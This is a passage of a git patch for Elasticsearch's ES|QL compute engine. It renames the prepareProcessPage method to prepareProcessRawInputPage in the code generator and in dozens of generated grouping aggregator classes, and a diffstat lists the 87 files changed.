handling all types of input, but it only processes raw input, not
intermediate input.

2. I plan to add `prepareProcessIntermediateInputPage`, which can enable
optimizations for intermediate pages, such as leveraging ordinals from
intermediate results.
---
 .../compute/gen/GroupingAggregatorImplementer.java        | 8 ++++----
 .../CountDistinctBooleanGroupingAggregatorFunction.java   | 2 +-
 .../CountDistinctBytesRefGroupingAggregatorFunction.java  | 2 +-
 .../CountDistinctDoubleGroupingAggregatorFunction.java    | 2 +-
 .../CountDistinctFloatGroupingAggregatorFunction.java     | 2 +-
 .../CountDistinctIntGroupingAggregatorFunction.java       | 2 +-
 .../CountDistinctLongGroupingAggregatorFunction.java      | 2 +-
 .../FirstOverTimeDoubleGroupingAggregatorFunction.java    | 2 +-
 .../FirstOverTimeFloatGroupingAggregatorFunction.java     | 2 +-
 .../FirstOverTimeIntGroupingAggregatorFunction.java       | 2 +-
 .../FirstOverTimeLongGroupingAggregatorFunction.java      | 2 +-
 .../LastOverTimeDoubleGroupingAggregatorFunction.java     | 2 +-
 .../LastOverTimeFloatGroupingAggregatorFunction.java      | 2 +-
 .../LastOverTimeIntGroupingAggregatorFunction.java        | 2 +-
 .../LastOverTimeLongGroupingAggregatorFunction.java       | 2 +-
 .../aggregation/MaxBooleanGroupingAggregatorFunction.java | 2 +-
 .../MaxBytesRefGroupingAggregatorFunction.java            | 2 +-
 .../aggregation/MaxDoubleGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/MaxFloatGroupingAggregatorFunction.java   | 2 +-
 .../aggregation/MaxIntGroupingAggregatorFunction.java     | 2 +-
 .../aggregation/MaxIpGroupingAggregatorFunction.java      | 2 +-
 .../aggregation/MaxLongGroupingAggregatorFunction.java    | 2 +-
 ...AbsoluteDeviationDoubleGroupingAggregatorFunction.java | 2 +-
 ...nAbsoluteDeviationFloatGroupingAggregatorFunction.java | 2 +-
 ...ianAbsoluteDeviationIntGroupingAggregatorFunction.java | 2 +-
 ...anAbsoluteDeviationLongGroupingAggregatorFunction.java | 2 +-
 .../aggregation/MinBooleanGroupingAggregatorFunction.java | 2 +-
 .../MinBytesRefGroupingAggregatorFunction.java            | 2 +-
 .../aggregation/MinDoubleGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/MinFloatGroupingAggregatorFunction.java   | 2 +-
 .../aggregation/MinIntGroupingAggregatorFunction.java     | 2 +-
 .../aggregation/MinIpGroupingAggregatorFunction.java      | 2 +-
 .../aggregation/MinLongGroupingAggregatorFunction.java    | 2 +-
 .../PercentileDoubleGroupingAggregatorFunction.java       | 2 +-
 .../PercentileFloatGroupingAggregatorFunction.java        | 2 +-
 .../PercentileIntGroupingAggregatorFunction.java          | 2 +-
 .../PercentileLongGroupingAggregatorFunction.java         | 2 +-
 .../aggregation/RateDoubleGroupingAggregatorFunction.java | 2 +-
 .../aggregation/RateFloatGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/RateIntGroupingAggregatorFunction.java    | 2 +-
 .../aggregation/RateLongGroupingAggregatorFunction.java   | 2 +-
 .../SampleBooleanGroupingAggregatorFunction.java          | 2 +-
 .../SampleBytesRefGroupingAggregatorFunction.java         | 2 +-
 .../SampleDoubleGroupingAggregatorFunction.java           | 2 +-
 .../aggregation/SampleIntGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/SampleLongGroupingAggregatorFunction.java | 2 +-
 .../StdDevDoubleGroupingAggregatorFunction.java           | 2 +-
 .../StdDevFloatGroupingAggregatorFunction.java            | 2 +-
 .../aggregation/StdDevIntGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/StdDevLongGroupingAggregatorFunction.java | 2 +-
 .../aggregation/SumDoubleGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/SumFloatGroupingAggregatorFunction.java   | 2 +-
 .../aggregation/SumIntGroupingAggregatorFunction.java     | 2 +-
 .../aggregation/SumLongGroupingAggregatorFunction.java    | 2 +-
 .../aggregation/TopBooleanGroupingAggregatorFunction.java | 2 +-
 .../TopBytesRefGroupingAggregatorFunction.java            | 2 +-
 .../aggregation/TopDoubleGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/TopFloatGroupingAggregatorFunction.java   | 2 +-
 .../aggregation/TopIntGroupingAggregatorFunction.java     | 2 +-
 .../aggregation/TopIpGroupingAggregatorFunction.java      | 2 +-
 .../aggregation/TopLongGroupingAggregatorFunction.java    | 2 +-
 .../ValuesBooleanGroupingAggregatorFunction.java          | 2 +-
 .../ValuesBytesRefGroupingAggregatorFunction.java         | 2 +-
 .../ValuesDoubleGroupingAggregatorFunction.java           | 2 +-
 .../ValuesFloatGroupingAggregatorFunction.java            | 2 +-
 .../aggregation/ValuesIntGroupingAggregatorFunction.java  | 2 +-
 .../aggregation/ValuesLongGroupingAggregatorFunction.java | 2 +-
 ...CartesianPointDocValuesGroupingAggregatorFunction.java | 2 +-
 ...tesianPointSourceValuesGroupingAggregatorFunction.java | 2 +-
 ...ntroidGeoPointDocValuesGroupingAggregatorFunction.java | 2 +-
 ...oidGeoPointSourceValuesGroupingAggregatorFunction.java | 2 +-
 ...CartesianPointDocValuesGroupingAggregatorFunction.java | 2 +-
 ...tesianPointSourceValuesGroupingAggregatorFunction.java | 2 +-
 ...CartesianShapeDocValuesGroupingAggregatorFunction.java | 2 +-
 ...tesianShapeSourceValuesGroupingAggregatorFunction.java | 2 +-
 ...ExtentGeoPointDocValuesGroupingAggregatorFunction.java | 2 +-
 ...entGeoPointSourceValuesGroupingAggregatorFunction.java | 2 +-
 ...ExtentGeoShapeDocValuesGroupingAggregatorFunction.java | 2 +-
 ...entGeoShapeSourceValuesGroupingAggregatorFunction.java | 2 +-
 .../aggregation/CountGroupingAggregatorFunction.java      | 2 +-
 .../aggregation/FilteredGroupingAggregatorFunction.java   | 4 ++--
 .../FromPartialGroupingAggregatorFunction.java            | 2 +-
 .../compute/aggregation/GroupingAggregator.java           | 2 +-
 .../compute/aggregation/GroupingAggregatorFunction.java   | 4 ++--
 .../aggregation/ToPartialGroupingAggregatorFunction.java  | 4 ++--
 .../FilteredGroupingAggregatorFunctionTests.java          | 2 +-
 .../aggregation/GroupingAggregatorFunctionTestCase.java   | 4 ++--
 87 files changed, 94 insertions(+), 94 deletions(-)

diff --git a/x-pack/plugin/esql/compute/gen/src/main/java/org/elasticsearch/compute/gen/GroupingAggregatorImplementer.java b/x-pack/plugin/esql/compute/gen/src/main/java/org/elasticsearch/compute/gen/GroupingAggregatorImplementer.java
index 1704f4cbeb1fe..e827edd8e996d 100644
--- a/x-pack/plugin/esql/compute/gen/src/main/java/org/elasticsearch/compute/gen/GroupingAggregatorImplementer.java
+++ b/x-pack/plugin/esql/compute/gen/src/main/java/org/elasticsearch/compute/gen/GroupingAggregatorImplementer.java
@@ -199,7 +199,7 @@ private TypeSpec type() {
         builder.addMethod(ctor());
         builder.addMethod(intermediateStateDesc());
         builder.addMethod(intermediateBlockCount());
-        builder.addMethod(prepareProcessPage());
+        builder.addMethod(prepareProcessRawInputPage());
         for (ClassName groupIdClass : GROUP_IDS_CLASSES) {
             builder.addMethod(addRawInputLoop(groupIdClass, blockType(aggParam.type())));
             builder.addMethod(addRawInputLoop(groupIdClass, vectorType(aggParam.type())));
@@ -314,10 +314,10 @@ private MethodSpec intermediateBlockCount() {
     }
 
     /**
-     * Prepare to process a single page of results.
+     * Prepare to process a single raw input page.
      */
-    private MethodSpec prepareProcessPage() {
-        MethodSpec.Builder builder = MethodSpec.methodBuilder("prepareProcessPage");
+    private MethodSpec prepareProcessRawInputPage() {
+        MethodSpec.Builder builder = MethodSpec.methodBuilder("prepareProcessRawInputPage");
         builder.addAnnotation(Override.class).addModifiers(Modifier.PUBLIC).returns(GROUPING_AGGREGATOR_FUNCTION_ADD_INPUT);
         builder.addParameter(SEEN_GROUP_IDS, "seenGroupIds").addParameter(PAGE, "page");
 
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBooleanGroupingAggregatorFunction.java
index 4fce90e84add6..adb17dc433682 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBooleanGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBytesRefGroupingAggregatorFunction.java
index 2d005a17dd182..77c2085b80353 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctBytesRefGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctDoubleGroupingAggregatorFunction.java
index 0f0dfd4fa5b2c..5728e8051de9f 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctDoubleGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctFloatGroupingAggregatorFunction.java
index 8e2fa1d71419a..a32c325b906de 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctFloatGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctIntGroupingAggregatorFunction.java
index 08768acfa5261..24e5176e41432 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctIntGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctLongGroupingAggregatorFunction.java
index 0b1caa1c3727c..0685f1fc0fee8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/CountDistinctLongGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeDoubleGroupingAggregatorFunction.java
index c0e299d57f6bb..4995a23d01140 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeDoubleGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeFloatGroupingAggregatorFunction.java
index df4b6c843ff75..9e59f0145a3b1 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeFloatGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeIntGroupingAggregatorFunction.java
index d0252f8b420d0..eedfd0800fd49 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeIntGroupingAggregatorFunction.java
@@ -57,7 +57,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeLongGroupingAggregatorFunction.java
index 8506d1e8d527b..97e89e741f699 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/FirstOverTimeLongGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeDoubleGroupingAggregatorFunction.java
index 8a32e5552dd1c..313252268ca4f 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeDoubleGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeFloatGroupingAggregatorFunction.java
index 250c5cd755a12..d6058e8e79189 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeFloatGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeIntGroupingAggregatorFunction.java
index 9b118c7dea9be..effbf31e5ed1d 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeIntGroupingAggregatorFunction.java
@@ -57,7 +57,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeLongGroupingAggregatorFunction.java
index 82bfc732969e5..a3b8fbbe8dc69 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/LastOverTimeLongGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBooleanGroupingAggregatorFunction.java
index f7390f55bc52b..63b24da3e0e94 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBooleanGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBytesRefGroupingAggregatorFunction.java
index 41f98d962bd2f..d29b1cef6b8f8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxBytesRefGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxDoubleGroupingAggregatorFunction.java
index 53273dad7c0f0..e140de51e801a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxDoubleGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxFloatGroupingAggregatorFunction.java
index 49afaf3c7265d..cc89041be61ba 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxFloatGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIntGroupingAggregatorFunction.java
index 3d97bf9df5dd9..0c8e6dfe8e090 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIntGroupingAggregatorFunction.java
@@ -57,7 +57,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIpGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIpGroupingAggregatorFunction.java
index fd38873655edd..4253fcbc1654d 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIpGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxIpGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxLongGroupingAggregatorFunction.java
index fcaea869f84d4..0c7d88e50755b 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MaxLongGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationDoubleGroupingAggregatorFunction.java
index c380146094f44..c8a9e737bd63a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationDoubleGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationFloatGroupingAggregatorFunction.java
index a895ebc9eda6b..547f3c116a966 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationFloatGroupingAggregatorFunction.java
